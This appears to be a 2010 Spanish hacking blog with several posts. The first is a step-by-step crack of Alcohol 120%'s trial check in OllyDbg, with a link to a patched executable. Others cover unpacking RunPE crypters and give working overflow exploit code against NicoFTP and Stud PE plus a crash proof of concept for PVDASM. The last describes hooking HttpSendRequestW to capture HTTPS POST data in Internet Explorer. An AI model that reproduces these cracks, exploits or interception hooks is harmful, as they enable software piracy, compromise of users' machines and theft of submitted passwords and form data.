miércoles, 19 de mayo de 2010

Parcheando el Alcohol 120% 2.0

Parcheando el Alcohol 120% 2.0




  • ¿Que se planea lograr con este parche?


    Lo que se planea es que nunca caduque el modo de prueba ( TRIAL ) .


  • Tutorial


    Lo primero que haremos y que es bueno siempre hacerlo cuando se planee crackear algún programa es ver si esta enpaquetado con algún packer , para esto utilizaremos el peid(web) .





    Como vemos en el peid esta empaquetado con el UPX , existen varias opciones para desempaquetarlo yo usare el PE Explorer (web) con este p`rograma solo abrimos nuestro exe ( el alcohol ) y este se desempaqueta automaticamente y luego lo guardamos con el nombre Alchol_UNPACK.exe .


    Ejecutamos el alchool ( el empaquetado o el desempaquetado da igual) luego cambiamos la fecha de nuestro sistema y la adelantamos un año esto lo haremos para vencer el modo de prueba , lo volvemos a ejecutar y nos saltara un mensaje como el siguiente




    Ya teniendo el exe desempaquetado lo abrimos con una muy buena modificación del olly dbg que es el Olly Shadow( DESCARGAR ) , para obtener donde dice el programa que estamos vencidos usaremos de guia el mensaje anterior por lo tanto pondremos un "BP MessageBoxW" en la barra de comandos y le damos a enter .


    Veremos que para cuando llama a MessageBoxW comprobamos que el mensaje sea el mismo que nos muestro si no es apretamos F9



    pero en el caso de ser vamos apretando F8 hasta que nos encontremos en el espacio de memoria del exe y no de la dll y llegaremos a un codigo como este



    analizamos un poco el codigo anterior al MessageBox hasta encontrarnos con unos saltos condicionales sospechosos , les pondremos un break point con F2 al test al,al y volveremos a lanzar el exe en este momento el exe parara en el BP y segurimos el anlaisis con F8 vemos que el JNZ luego del test al,al saltan al bloque cercano del codigo del MessageBox a si que cambiaremos la condición a JZ y le damos a F9 y EUREKA!!! nos muestra todo como si fuera dentro del plazo :P



    Saltos sospechosos:

    Código
    /*43A181*/  TEST AL,AL
    /*43A183*/ JNZ SHORT Alcohol_.0043A1A4
    /*43A185*/ MOV ECX,DWORD PTR SS:[EBP-134]
    /*43A18B*/ CMP ECX,0F
    /*43A18E*/ JG SHORT Alcohol_.0043A1A4
    /*43A190*/ FLD QWORD PTR SS:[EBP-13C]
    /*43A196*/ CALL Alcohol_.0063D450
    /*43A19B*/ CMP EAX,0F
    /*43A19E*/ JLE Alcohol_.0043A434




    Yo modifique el exe para saltar un poco lo que jode del modo trial que no explicare en mayoria ya que fue un proceso muy largo para analizar el exe modificado se los dejo :P

    http://www.megaupload.com/?d=GYA38W9U





SE NECESITA ELIMINAR LA CARPETA LANGS

sábado, 15 de mayo de 2010

[Tuto]Desempaquetando RunPE

[Tuto]Desempaquetando RunPE


¿Que es RunPE?

Es un modulo realizado en VB que ultimamente se utiliza mucho en la creación de crypters ( herramientas para saltarse los antivirus generalmente ) aunque este metodo para desempaquetar no es para exclusivamente este modulo si no para el metodo de inyección de exe que ocupa

Teoría


Lo que haremos es abrir el exe que contiene el programa que queremos desempaquetar con el ollydbg y simplemente irnos a la api ZwSetContextThread de la ntdll.dll y poner un BreakPoint ( Acuerdenze de analizar que el crypter no haaga nada mas que inyectar el exe o hacerlo en una VM ) luego darle F2 a el exe y cuando llegue al BreakPoint cerrar el exe y luego lo dumpearemos con un exe de fabricación casera mia
:P


Acción


Paso 1

Abrimos el exe con el ollydbg luego nos vamos a la E gigante de la barra de arriba , luego vemos se le hace un click a la ntdll y despues escribimos ZwSetContextThread cuando nos encontremos en el nombre adecuado apretamos F2 cuando aparesca en rojo apretaremos F9 esperaremos y luego cerraremos


Paso 2

Con el Taskmgr rebizaremos que proceso tiene una ram extremadamente baja como 72 kb a 180kb ( generalmente es un notepad un calc.exe o el mismo exe que abrimos ) para saber en que proceso inyecto el exe y le vemos el PID (Process ID ).

Luego descargaremos mi herramienta metemos los datos necesarios y wala exe desempaquetado :P


No es el mejor tuto que fabricado pero creo que esta explicado bien :P

Saludos
SecMAM

Herramienta:

http://www.2shared.com/file/ER3Z6mGo/Dumper.html

domingo, 7 de marzo de 2010

[BUG] NICO FTP 3.0.1.19

NOTA : El BUG NO ESTOY DEL TODO SEGURO EN SER EL PRIMERO EN DESCUBRIRLO YA QUE EXISTE OTRO BUG QUE NO ENCONTRE INFORMACION EN ESPAÑOL NI EXPLOIT



El exploit lo que hace es saltar a una direccion(004AB481) en el mismo codigo para mostrar un MessageBox

http://rapidshare.com/files/360325715/Exploit_NicoFTP.rar.html

http://www.2shared.com/file/11930614/41732bad/Exploit_NicoFTP.html


Código


Const Command = "open "
Const LenExploit = "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<"

Private Sub Form_Load()
Winsock1.LocalPort = 21
Winsock1.Listen
End Sub

Private Sub Timer1_Timer()
Label1.Caption = Winsock1.State

End Sub

Private Sub Timer2_Timer()
Dim Exploit As String

If Winsock1.State = 7 Then
Dim i As Integer
For i = 1 To Len(LenExploit)
Exploit = Exploit & Chr(&H90)

Next i


'Chr(&H81) & Chr(&HB4) & Chr(&H4A) = &H81B44A = &H004AB481
Winsock1.SendData Command & Exploit & Chr(&H81) & Chr(&HB4) & Chr(&H4A) & Chr(13) & Chr(10) & Chr(0)
End If

If Winsock1.State = 9 Then
Winsock1.Close
Winsock1.Listen
End If


End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then
Winsock1.Close
End If



Winsock1.Accept requestID
End Sub



viernes, 5 de marzo de 2010

[BUG-BOF] Stud PE 2.6.0.5

En la version 2.6.0.5 y seguramente en algunas anteriores se encuentra un bug del tipo BOF , este ocurre en el listado de las funciones exportada al poner una funcion de nombre muy largo .


Este BUG podria permitir la ejecucion de un ShellCode , aunque el exploit que se publicara solamente causa un salto a 0xFFFFFFFF para evitar el uso malicioso por cualquier persona.


El buffer donde se explota el BOF es algo a si


4 bytes ( Poner cualquiera ) + 262 bytes ( Normalmente aqui iria un ShellCode) + 4 bytes[Direccion de retorno]

Código
Exploit equ  4 dup(0x90) ,262 dup (0x90) , 4 dup (0xFF) ;0xFFFFFFFF = jmp 0xFFFFFFFF
include "win32ax.inc"
entry ini
.data
ini:

proc start

stdcall dword[ExitProcess],0

endp
data import
ccbase = $400000
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase

dd 0


_ExitProcess: db 0,0,"ExitProcess",0
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,Exploit



section '.reloc' fixups data discardable

domingo, 14 de febrero de 2010

[BUG DOS]PVDASM v1.7

http://pvdasm.reverse-engineering.net/index.php?Section=1

El bug ocurre por que el programa no reviza el largo de las funciones importadas por el exe por lo tanto si nosotros importamos una api de mayor largo que lo permitido el programa crachea sin oportunidad de anlizarlo :P

El error en si ocurre por un wsprintf a un buffer muy pequeño




Dejo una prueba de concepto ensamblada con FASM ( nota: el .exe se tiene que llamar bug2.exe ) :P

Código


aaaa equ MAX_PATH dup ('A')
include "win32ax.inc"
entry ini
.data
ini:

proc start
stdcall dword[MessageBox],0,"Hola",0,0
stdcall dword[ExitProcess],0
call dword[main]

endp
data import
xxitbeg:
ccbase = $400000 ; 4 M
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0, user_name - ccbase , user_table - ccbase
dd 0,0,0, errormsg_name - ccbase , errormsg_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase
dd 0


_ExitProcess: db 0,0,"ExitProcess",0


user_name: db "user32.dll",0
user_table:
MessageBox: dd _MessageBox - ccbase
dd 0


_MessageBox: db 0,0,"MessageBoxA",0


errormsg_name: db "bug2.exe",0
errormsg_table:
main: dd _start - ccbase
dd 0


_start: db 0,0,aaaa,0


xxitend:

xxpadend:
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,aaaa


section '.reloc' fixups data discardable

domingo, 7 de febrero de 2010

[Teoria]Obteniendo nuestra IP publica desde hotmail o gmail.

Muy comunmente nos encontramos con el problema de como obtener nuestra IP externa desde nuestro programa si el PC esta dentro de una LAN .

La solucion mas facil es pedirsela al servidor de SMTP de hotmail o gmail , pero como se la pedimos ? facil .

Primero nos conectamos por el puerto 25 al servidor SMTP de gmail(smtp.gmail.com) o hotmail(smtp.live.com) , luego de eso enviamos un paquete como sera este

EHLO mail-ww0-f47.google.com

y el servidor nos respondera con algo como

250-mx.google.com at your service, [200.xxx.xxx.xxx]

seguido de otros datos sin importancia para nuestro motivo

Como notaran entre los corchetes esta nuestra IP publica :P

martes, 2 de febrero de 2010

[Proyecto]HookAPIlIB


HookAPIlIB v1.0

Autor: Marco Almonacid Marchant
Version: 1.0
Blog : secmam.blogspot.com
Mail: malmonacidm@gmail.com


¿Que es HookAPIlIB ?

Es una libreria diseñada para Fasm para simplificar el api hook.


¿Cualquier duda o fallo donde lo report ?

Por favor enviarlas a malmonacidm@gmail.com

Megaupload



2shared

lunes, 1 de febrero de 2010

[Teoria]Capturar SSL POST del IE

¿De que se trata esto?

En este tutorial intentare explicar la teoria para capturar cualquier dato enviado por el metodo POST del protocolo HTTP(S) .


¿Pero esto no se consigue hookeando send y ya?

No , los datos enviados con SSL usan una encriptacion muy buena por lo tanto uno podria capturar el paquete mandado por send pero obtendrias un texto indesifrable.

¿Que necesito saber?


Con saber Api hook se vale :P

http://foro.elhacker.net/analisis_y_diseno_de_malware/taller_api_hooking_en_modo_usuario-t262962.0.html



¿Me dejarias de explicar cosas que ya se y empezarias ?

Si :xD



Usando el ollydbg y poniendole un BP( Breack Point ) en cada api ( Si fue un trabajo terrible ) descubri que por la api de la WININET.dll la HttpSendRequestW pasaban los datos enviados por POST tanto en HTTP como en HTTPS , como se ve en la siguiente imagen :




Nos vamos a la MSDN y en

http://msdn.microsoft.com/en-us/library/aa384247(VS.85).aspx


Vemos que las post siempre que vallan pasan por el cuarto parametro y el quinto indica el tamaño de estos datos.

Hookeamos la api como cualquier api y bla bla bla


El problema que yo tube en un comienzo es que el proceso iexplore.exe no tiene permisos para casi nada .

Luego de una dura investigacion se me ocurrio simular el sistema de coockies que usa el IE , eso me llevo a debuggear y eso me llevo hacia la api CreateUrlCacheEntryA de wininet.dll que es usada para crear el archivo de la coockie , para diferenciar las "coockies" mias con las reales ya que esta api permite ponerle la extensión al archivo ponerle a esta extensión "va" (pongo un ejemplo de la llamada)
Código
  llamar CreateUrlCacheEntryA,[p1],0,"va",addr Buffer,0



Luego de esa llamada la api devuelve en Buffer una ruta de un archivo que si es modificable por nosotros y ahi escribimos las cabezeras como lo hariamos normalmente :P


Fue un minitutorial de algo que aunque corto en tecnica fue una investigacion que me llevo dias :P

Saludos